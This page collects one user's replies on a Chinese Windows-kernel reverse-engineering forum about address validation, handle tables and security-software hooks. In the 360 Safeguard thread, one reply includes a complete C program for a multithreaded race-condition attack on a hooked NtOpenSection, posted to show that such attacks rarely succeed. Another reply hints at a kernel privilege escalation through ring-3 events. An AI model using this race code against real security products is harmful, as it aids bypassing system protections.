|
[求助]MmIsAddressValid能否判定内存地址有效?
invlpg是解决不了TLB污染问题的吧。 所以说调试器本身也不行,例如你可以挂上调试器,u一下一些万年不会调用的API,例如CmRegisterCallback,或者NTFS中对FSCTL_MASK_AS_SYSTEM_HIVE的处理代码,基本都是显示无效的。 |
|
[原创]简单算法遍历PspCidTable句柄表
充满了硬编码,让人不忍卒读 |
|
[求助]MmIsAddressValid能否判定内存地址有效?
没有100% OK的方法。 |
|
[求助]MmIsAddressValid能否判定内存地址有效?
。。。。。。没有 |
|
[求助][求助]debugman注册码或帮忙下个东西.
邀请码已发给楼主 |
|
[求助]关于如何获取 指定服务的进程以及PID的问题
QueryServiceStatusEx即可 |
|
[求助]防止枚举窗口到本进程应该 钩住哪个函数?
GetWindowsProcessThreadId(NtUserQueryWindow)比FindWindow频繁多了。。。 |
|
[原创]分析了一下360安全卫士的HOOK(二)——架构与实现
prefetch?我还readyboost呢!你第一次调度磁盘就能轮到你执行了?以后你还能构建pageou吗?都跟你说不要再YY了。你要是有诚意,就把代码和测试结果贴出来。好歹也尊重一下我帮你的YY的劳动成果,否则就闭嘴! |
|
[原创]分析了一下360安全卫士的HOOK(二)——架构与实现
顺便说一下,晚上看了刑房系列的恐怖星球,非常不错,比同系列的金刚不坏要爽。。推荐一下 |
|
[原创]分析了一下360安全卫士的HOOK(二)——架构与实现
无BIN无真相,再怎么YY也只是YY而已,实践你就会遇到问题了 这种攻击技术很早以前我就想过了,当时也想当然地认为成功率不会低,实际操作一下才知道是什么结果 为了让楼上信服,我写了个程序来验证楼上的猜想 在我的2GHZ双核机器上(VISTA SP2),100% CPU运行了20分钟,进行了100万次测试,结果是无法达成攻击。 楼主如果对我这个代码的实现(例如uniname 没有page out , 抱歉我不知道怎么在RING3下主动PAGE OUT 内存。。。哈哈,楼上显然想得太简单,你又要多次访问这个地址,又要它PAGE OUT,怎么可能呢,还“硬盘调度几次”。。一次都调度不了。。, 例如干扰线程的处理),或者是对我运行的时间(也许楼上觉得需要运行一个星期或一个月)有什么异议,都可以做出修改,然后自己测试一下~ 以下是代码(因为VISTA上打不开物理内存对象,所以用了一个kernel32.dll的knowndlls section来代替,没什么区别): UNICODE_STRING uniname = RTL_CONSTANT_STRING(L"\\KnownDlls\\kernel32.dll"); void Feidiaoneicun(PVOID pNeicun) { ULONG oldp ; //备注:尝试了几次修改线程优先级,没什么效果,系统调度还是比较复杂,光靠在RING3瞎猜,还是很难把握。 while(TRUE) { //先把内存改为不可写,这样若在写入section handle时,就会失败 VirtualProtect(pNeicun , 0x1000 , PAGE_READONLY , &oldp); Sleep(0); //把内存改为可写,这样可过probeforwrite VirtualProtect(pNeicun , 0x1000 , PAGE_READWRITE , &oldp); Sleep(0); } return ; } int main(int argc, char* argv[]) { HMODULE hmod = LoadLibrary("ntdll.dll"); PVOID pOpen = GetProcAddress(hmod , "NtOpenSection"); PVOID pQuery = GetProcAddress(hmod , "NtQueryObject"); PHANDLE pSecHandle = (PHANDLE)malloc(0x4000); PVOID pNameBuff = malloc(0x1000); OBJECT_ATTRIBUTES oba ; ULONG HandleCount ; //获取初始化的句柄个数 GetProcessHandleCount(GetCurrentProcess() , &HandleCount); ULONG times = 0 ; InitializeObjectAttributes(&oba , &uniname , 0 , 0 ,0 ); ULONG tid ; //创建干扰线程 HANDLE hThread = CreateThread(0 , 0 , (LPTHREAD_START_ROUTINE)Feidiaoneicun ,pSecHandle, 0 , &tid); CloseHandle(hThread); printf("init handle value = %u\n" , HandleCount); getchar(); while(TRUE) { printf("try %u\n" , times); LONG stat ; ULONG newhandlecount ; //调用API __asm { lea eax ,oba push eax push 4 push pSecHandle call pOpen mov stat , eax } //获取新的句柄个数 GetProcessHandleCount(GetCurrentProcess() , &newhandlecount); HANDLE handlevalue = *pSecHandle ; printf("stat = %08x SectionHandle = %x HandleCount = %x\n" , stat , handlevalue , newhandlecount); //如果成功了,那么关闭打开的句柄 if (stat == 0 ) { //getchar(); CloseHandle(handlevalue); } //如果不成功,但是handlecount发生了变化,那么说明有新的句柄产生 //这可能是多线程攻击成功了,也可能是系统触发了一个句柄的增加 //我们检查所有的句柄,看新增的里有没有我们想要的 else if (newhandlecount != HandleCount) { ULONG i ; ULONG retlen ; ULONG handlequeryed = 0 ; for (i = 4 ; i < 0xffffffff ; i +=4) { __asm { lea eax ,retlen push eax push 0x1000 push pNameBuff push 1 push i call pQuery mov stat , eax } //zwquery object 取名字 if (stat == 0) { PUNICODE_STRING pUniName = (PUNICODE_STRING)pNameBuff; //存在了 if (pUniName->Buffer && wcsnicmp(pUniName->Buffer , uniname.Buffer , uniname.Length / sizeof(WCHAR)) == 0 ) { printf("get it\n"); getchar(); } //增加已获得句柄值 handlequeryed ++ ; } //如果句柄不是无效(失败的可能还有object 无法query name等) else if (stat != 0xc0000008) { //也增加已获得句柄值 handlequeryed ++ ; } //都检查过了,break if (handlequeryed == newhandlecount) { break ; } } //保存新的句柄值了 HandleCount = newhandlecount ; } times++; } return 0; } 基本上运行结果,要么是进入API前,到检查开始过程中,内存始终是无效的,或者是进入API前,到完成API后(包括写入SECTION HANDLE),都是有效的~ |
|
[原创]分析了一下360安全卫士的HOOK(二)——架构与实现
找handle确实可以,这点是我疏忽了。 掐时间确实不容易, 理论上可行,实际上。。。楼上可以试试,成功率非常低,可能你的程序要100%CPU运行3个月才能成功攻击。类似的攻击此前我试过一次,在我的2GHZ测试机上跑一个星期,没出结果,放弃了~~ |
|
[原创]分析了一下360安全卫士的HOOK(二)——架构与实现
分析得不错。 另外,楼上不要不经测试就YY吧,多线程同步攻击实际成功率很低,呵呵,同时需要找到一个很巧妙的点,例如NtOpenSection这个就不行。绝大部分需要返回有价值数据的函数的API,返回失败时,都不会成功返回数据,引发攻击,例如OpenProcess/Thread等,若返回失败,RING3程序就不会去close这个句柄,岂非会造成泄漏?呵呵。 当然多线程攻击可以用于在一些比较巧妙的位置,对于那些仅对输入感兴趣或主要对输入感兴趣的函数做攻击,只是成功率非常低,可能你狂开线程调API,等到花儿都谢了也没有把你BREAK出去,这跟配置还有点关系~同时你可以看看源码,微软的Nt*函数基本都考虑到了这个问题。对于第三方的安全软件,防御则不可能做到滴水不漏,与其用笨重、成功率低的多线程参数欺骗,还不如找一些更效的点。。 |
|
[求助]NT 和 ZW 和 其它的 API 调用为什么一样快
1.次数太少,看不出差别 2.你自己的处理也有差别,不一样快也被你掩盖了 3.zw和nt在ntdll中是一样的 4.内核下nt比zw快一些 |
|
[求助]KeSetEvent蓝屏问题
其实ring3传event进去这个方式是有问题的,可引发内核提权,,具体不说了 |
|
[求助]ZwQuerySystemInformation显示进程的问题
xp及以后不需要猜测buf,以小buf去一下return length就可以了,两次搞定 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值